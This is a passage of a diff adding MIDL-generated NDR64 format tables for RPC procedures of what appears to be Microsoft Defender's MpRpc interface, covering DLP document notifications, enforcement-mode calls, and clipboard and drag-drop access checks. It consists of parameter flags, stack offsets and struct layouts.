0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1810_t __midl_frag1810 = +{ +/* Proc186_ServerMpRpcDlpNotifyPreSaveAsDocument */ + { + /* Proc186_ServerMpRpcDlpNotifyPreSaveAsDocument */ /* procedure Proc186_ServerMpRpcDlpNotifyPreSaveAsDocument */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1746, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2266, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1805_t __midl_frag1805 = +{ +/* Proc185_ServerMpRpcDlpNotifyCloseDocumentFile */ + { + /* Proc185_ServerMpRpcDlpNotifyCloseDocumentFile */ /* procedure Proc185_ServerMpRpcDlpNotifyCloseDocumentFile */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1837, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1799_t __midl_frag1799 = +{ +/* Proc184_ServerMpRpcDlpNotifyPostOpenDocumentFile */ + { + /* Proc184_ServerMpRpcDlpNotifyPostOpenDocumentFile */ /* procedure Proc184_ServerMpRpcDlpNotifyPostOpenDocumentFile */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 48 /* 0x30 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1746, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1839, + { + /* arg_2 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1794_t __midl_frag1794 = +{ +/* Proc183_ServerMpRpcDlpNotifyPreOpenDocumentFile */ + { + /* Proc183_ServerMpRpcDlpNotifyPreOpenDocumentFile */ /* procedure Proc183_ServerMpRpcDlpNotifyPreOpenDocumentFile */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1746, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1787_t __midl_frag1787 = +{ +/* Proc182_ServerMpRpcDlpGetOperationEnforcmentMode */ + { + /* Proc182_ServerMpRpcDlpGetOperationEnforcmentMode */ /* procedure Proc182_ServerMpRpcDlpGetOperationEnforcmentMode */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1783_t __midl_frag1783 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ /* Offset */ + } +}; + +static const __midl_frag1782_t __midl_frag1782 = +{ +/* *Struct_126_t */ + { + /* *Struct_126_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* *Struct_126_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1783 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag121 + } +}; + +static const __midl_frag1781_t __midl_frag1781 = +{ +/* *Struct_126_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1782 +}; + +static const __midl_frag1779_t __midl_frag1779 = +{ +/* Proc181_ServerMpRpcDlpInitializeEnforcementMode */ + { + /* Proc181_ServerMpRpcDlpInitializeEnforcementMode */ /* procedure Proc181_ServerMpRpcDlpInitializeEnforcementMode */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1781, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1770_t __midl_frag1770 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 48 /* 0x30 */ /* Offset */ + } +}; + +static const __midl_frag1769_t __midl_frag1769 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag1770 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag1768_t __midl_frag1768 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1769 +}; + +static const __midl_frag1761_t __midl_frag1761 = +{ +/* Proc180_ServerMpRpcCheckAccessForDragDropOperation2 */ + { + /* Proc180_ServerMpRpcCheckAccessForDragDropOperation2 */ /* procedure Proc180_ServerMpRpcCheckAccessForDragDropOperation2 */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 104 /* 0x68 */ , /* Stack size */ + (NDR64_UINT32) 64 /* 0x40 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 12 /* 0xc */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2164, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2164, + { + /* arg_5 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2368, + { + /* arg_6 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag1768, + { + /* arg_7 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag1837, + { + /* arg_8 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* arg_9 */ /* parameter arg_9 */ + &__midl_frag1837, + { + /* arg_9 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + }, + { + /* arg_10 */ /* parameter arg_10 */ + &__midl_frag2368, + { + /* arg_10 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 80 /* 0x50 */, /* Stack offset */ + }, + { + /* arg_11 */ /* parameter arg_11 */ + &__midl_frag2367, + { + /* arg_11 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 88 /* 0x58 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 96 /* 0x60 */, /* Stack offset */ + } +}; + +static const __midl_frag1749_t __midl_frag1749 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag1746_t __midl_frag1746 = +{ +/* Struct_3824_t */ + { + /* Struct_3824_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3824_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */, + 0, + 0, + &__midl_frag1749, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1742_t __midl_frag1742 = +{ +/* Proc179_ServerMpRpcCheckAccessForClipboardOperationEx2 */ + { + /* Proc179_ServerMpRpcCheckAccessForClipboardOperationEx2 */ /* procedure Proc179_ServerMpRpcCheckAccessForClipboardOperationEx2 */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 88 /* 0x58 */ , /* Stack size */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 136 /* 0x88 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 10 /* 0xa */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2164, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1837, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag1837, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2368, + { + /* arg_5 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2368, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 